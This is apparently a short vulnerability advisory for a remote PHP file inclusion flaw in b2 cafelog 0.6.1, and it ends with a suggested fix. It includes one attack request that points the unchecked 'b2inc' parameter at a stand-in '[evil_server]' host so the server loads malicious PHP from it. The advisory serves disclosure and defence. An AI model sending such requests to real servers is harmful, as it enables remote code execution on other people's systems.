Description:
A vulnerability has been identified in b2 cafelog allowing malicious people to execute arbitrary PHP code on the web server.
The problem is that the "b2inc" parameter isn't verfied in the "blogger-2-b2.php" script.
By requesting "blogger-2-b2.php?b2inc=http://[evil_server]", it is possible to include a malicious "b2functions.php" and "b2vars.php" PHP script from "http://[evil_server]".
A similar issue exists in "gm-2-b2.php" in the "b2inc" parameter.
This has been reported in version 0.6.1
Solution:
Edit the source code to verify input or restrict access to the scripts using .htaccess or similar.
